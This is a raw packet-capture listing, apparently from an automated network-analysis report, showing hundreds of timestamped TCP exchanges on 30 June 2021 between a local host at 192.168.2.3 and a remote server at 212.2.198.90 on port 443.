Jun 30, 2021 20:06:09.121455908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121455908 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121478081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121480942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121501923 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121509075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121529102 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121535063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121553898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121562004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121579885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121587992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121607065 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121618032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121638060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121644020 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121663094 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121671915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121689081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121699095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121723890 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121726036 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121747017 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121748924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121769905 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121776104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121802092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121804953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121831894 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121833086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121856928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121859074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121882915 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121885061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121907949 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121911049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121934891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121937990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121958017 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121963978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121987104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121992111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122010946 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122018099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122035980 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122042894 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122066021 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122092962 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122097969 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122116089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122140884 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122143030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122169971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122170925 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122195959 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122205019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122221947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122226954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122248888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122251987 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122275114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122275114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122299910 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122304916 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122322083 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122330904 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122354031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122356892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122383118 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122407913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122409105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122411966 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122430086 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122437000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122459888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122462034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122478962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122488022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122507095 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122515917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122535944 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122543097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122565031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122567892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122586012 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122592926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122618914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122618914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122643948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122668982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122669935 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122673035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122693062 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122699022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122719049 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122733116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122752905 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122760057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122780085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122785091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122802019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122821093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122848034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122850895 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122874975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122878075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122900963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122901917 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122925997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122930050 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122951031 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122957945 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.122977018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.122983932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123001099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123004913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123028040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123029947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123053074 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123055935 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123078108 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123083115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123099089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123109102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123153925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123162985 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123179913 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123197079 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123210907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123233080 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123236895 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123256922 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123260975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123286963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123287916 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123311996 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123312950 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123338938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123338938 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123366117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123368025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123392105 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123393059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123420000 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123423100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123449087 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123450041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123470068 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123475075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123500109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123502970 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123524904 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123526096 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123552084 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123552084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123577118 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123579025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123604059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123605013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123626947 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123632908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123656034 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123661041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123677969 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123686075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123708010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123712063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123728037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123738050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123763084 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123765945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123789072 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123790979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123812914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123816013 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123842955 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123845100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123866081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123871088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123892069 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123893976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123914003 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123919010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123939991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123944044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123960972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123969078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.123987913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.123996019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124011040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124021053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124038935 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124047995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124059916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124073982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124094009 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124099970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124116898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124124050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124145985 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124150991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124166012 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124176979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124197006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124203920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124217987 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124228954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124248028 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124255896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124273062 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124281883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124295950 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124309063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124336004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124347925 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124363899 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124387026 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124388933 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124416113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124423027 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124440908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124448061 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124469042 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124469042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124494076 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124495029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124520063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124520063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124543905 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124545097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124567032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124567986 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124593019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124593973 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124617100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124620914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124639034 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124648094 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124669075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124676943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124691963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124702930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124722004 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124727011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124747038 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124752045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124768972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124773979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124798059 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124800920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124823093 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124825954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124847889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124851942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124871969 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124880075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124896049 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124906063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124922991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124931097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124954939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124957085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.124982119 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.124982119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125006914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125006914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125030994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125031948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125056028 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125056982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125085115 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125086069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125108004 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125113010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125129938 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125137091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125155926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125164032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125180006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125190020 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125206947 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125216007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125241995 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125242949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125262022 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125269890 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125292063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125298977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125313997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125324965 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125344038 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125349045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125368118 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125372887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125395060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125399113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125418901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125422001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125444889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125447035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125469923 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125473022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125500917 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125500917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125526905 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125528097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125550032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125551939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125574112 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125577927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125595093 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125602961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125624895 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125628948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125646114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125653982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125677109 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125680923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125703096 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125709057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125725031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125735998 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125755072 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125761032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125782013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125787020 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125807047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125813007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125835896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125838041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125863075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125864983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125888109 CEST	49720	443	192.168.2.3	212.2.198.90
